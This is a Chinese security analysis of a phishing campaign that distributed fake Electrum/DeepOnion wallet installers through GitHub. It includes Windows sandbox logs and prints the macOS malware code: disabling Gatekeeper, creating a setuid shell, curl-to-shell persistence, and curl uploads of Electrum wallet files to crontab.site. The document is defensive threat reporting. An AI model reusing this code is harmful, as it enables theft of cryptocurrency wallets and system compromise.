伪 Electrum 鱼叉钓鱼攻击分析
2020-06-12 12:31:17 Author: www.aqniu.com(查看原文) 阅读量:537 收藏

伪 Electrum 鱼叉钓鱼攻击分析

星期五, 六月 12, 2020

引子:

近日,慢雾安全团队收到情报,有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。

钓鱼邮件如图:

慢雾安全团队收到情报后,第一时间展开分析:

点击跳转目标页面:

针对 Mac OS X / macOS / Windows 不同系统都给出了下载链接

链接指向黑客木马文件存放位置:

于 3 天前,创建的账号

里面存在两个项目:

b*****.github.io
b****t

样本 “Bi****-Setup.exe” 是 Windows 下的恶意文件

“index.html” 是一个仿冒的升级提示页面;诱导用户升级下载。

样本 “Bi****-Setup.exe” 数字签名:

EXE 文件基本信息

文件名称:

B****-KYC-Setup.exe

子文件信息:

script.txt / 877da6cdd4eb284e2d8887b24a24168c / Unknown

setup.exe / fe1818a5e8aed139a8ccf9f60312bb30 / EXE

WinSCP.exe / e71c39688fad97b66af3e297a04c3663 / EXE

关键行为

行为描述: 屏蔽窗口关闭消息

详情信息:

hWnd = 0x00030336, Text = Deep Onion Setup: Completed, ClassName = #32770.

进程行为

行为描述: 创建本地线程

详情信息:

TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2888, ThreadID = 2948, StartAddress = 00405209, Parameter = 0001034A

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3188, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3192, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3196, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3200, StartAddress = 00819BF4, Parameter = 0272E270

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3232, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3236, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3240, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3244, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3248, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3252, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3264, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3280, StartAddress = 009B8C28, Parameter = 026F4C90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3284, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3352, StartAddress = 009B8C28, Parameter = 026F4B90

行为描述: 创建新文件进程
详情信息:
[0x00000c30]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe” /ini=null /script=”script.txt” /log=”winscp_documents.log” /loglevel=0 /parameter “C:\Documents and Settings\Administrator\My Documents” “09-06-2020-4:51:51_documents”

[0x00000c44]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe” /ini=null /script=”script.txt” /log=”winscp_appdata.log” /loglevel=0 /parameter “C:\Documents and Settings\Administrator\Application Data” “09-06-2020-4:51:51_appdata”

[0x00000c5c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe” /ini=null /script=”script.txt” /log=”winscp_localappdata.log” /loglevel=0 /parameter “C:\Documents and Settings\Administrator\Local Settings\Application Data” “09-06-2020-4:51:51_localappdata”

[0x00000c64]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe” /ini=null /script=”script.txt” /log=”winscp_onedrive.log” /loglevel=0 /parameter “C:\Documents and Settings\Administrator\OneDrive” “09-06-2020-4:51:51_onedrive”

[0x00000c6c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe” /ini=null /script=”script.txt” /log=”winscp_pictures.log” /loglevel=0 /parameter “C:\Documents and Settings\Administrator\Pictures” “09-06-2020-4:51:51_pictures”

文件行为

行为描述: 创建文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_onedrive.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_localappdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_documents.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_pictures.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

行为描述: 创建可执行文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

行为描述: 覆盖已有文件

详情信息:

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

行为描述: 查找文件

详情信息:

FileName = C:\Documents and Settings

FileName = C:\Documents and Settings\Administrator

FileName = C:\Documents and Settings\Administrator\Local Settings

FileName = C:\Documents and Settings\Administrator\Local Settings\Temp

FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsyA.tmp

FileName = C:\DOCUME~1

FileName = C:\DOCUME~1\ADMINI~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-CN

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-Hans

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.CHS

行为描述: 删除文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

行为描述: 修改文件内容

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe —> Offset = 0

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe —> Offset = 32768

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe —> Offset = 33203

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe —> Offset = 65971

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe —> Offset = 66905

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt —> Offset = 0

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe —> Offset = 0

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe —> Offset = 24146

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe —> Offset = 44980

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe —> Offset = 60884

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe —> Offset = 93652

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll —> Offset = 0

C:\Documents and Settings\Administrator\Application Data\winscp.rnd —> Offset = 0

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log —> Offset = 0

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log —> Offset = 102

网络行为

行为描述: 建立到一个指定的套接字连接

详情信息:

IP: **.138.40.**:128, SOCKET = 0x000001d0

IP: **.138.40.**:128, SOCKET = 0x000001cc

我们测试打开,自解压:

发现用于上传本地用户信息的 FTP 账号密码;

同时有一个正常的 Electrum Installer 文件

一旦用户安装后使用, 在 Electrum 下输入的敏感信息将被发送到远程恶意 FTP 服务器接收。

2020年06月02日 开始,已经有用户陆续中招。

安装命令

脚本内容:

恶意地址:

https://github.com/deep-onion

(模仿知名项目 https://deeponion.org/ 的Github地址 https://github.com/deeponion )

恶意地址下也有两个项目:

deep-onion.github.io

wallet

https://github.com/deep-onion/deep-onion.github.io

此文件此处不做分析。

Mac 端

https://github.com/deep-onion/wallet

恶意文件是 DeepOnion

执行恶意脚本后是一系列恶意操作:

如:

try {
shell_exec(“spctl –master-disable”);

$ksh = trim(shell_exec(“which ksh”));
shell_exec(“cp $ksh $homedir/.ksh”);
shell_exec(“cd $homedir && chown root:wheel .ksh && chmod a+rwxs .ksh”);

shell_exec(“cd $homedir && echo ‘#!/bin/bash’ > .strtp && echo ‘sleep 300’ >> .strtp && echo ‘curl http://crontab.site/?log=startup\&key=startup\&id=$id | $homedir/.ksh’ >> .strtp && chown root:wheel .strtp && chmod a+x .strtp”);

try {
$dir = “$homedir/.electrum/wallets”;
if (file_exists($dir)) {
$files = scandir($dir);
foreach ($files as $file) {
shell_exec(“curl -s –data-binary \”@$dir/$file\” http://crontab.site/?log=startup\&key=$file\&id=$id”);
}
}
} catch (Exception $e) {
shell_exec(‘echo “Caught exception: ‘ . $e->getMessage() . ‘”‘ . ” >> $log”);
}

shell_exec(“curl -s –data-binary \”@$log\” http://crontab.site/?log=startup\&key=log\&id=$id”);

whoami >> /tmp/cron.log
ls -al /Users/ >> /tmp/cron.log
ls -al $HOMEDIR >> /tmp/cron.log
curl –data-binary “@/tmp/cron.log” http://crontab.site/?log=startup\&key=cron.log\&id=$UID

大概流程:

通过以上一些列操作,从而盗取用户隐私信息。

备注:

C2 信息:

crontab.site

邮箱 [email protected]

phone_tag +7.9453949549

注册时间 2020-04-20 17:47:03

过期时间 2021-04-20 23:59:59

更新时间 2020-04-20 17:47:04

慢雾建议:

● 认清官方邮箱后缀
● 谨慎对待未知来源邮件里的链接与附件
● 怀疑一切以“升级”、“账号异常”等理由的邮件
● 对于需要处理但可疑的邮件内容,需及时咨询专业人员


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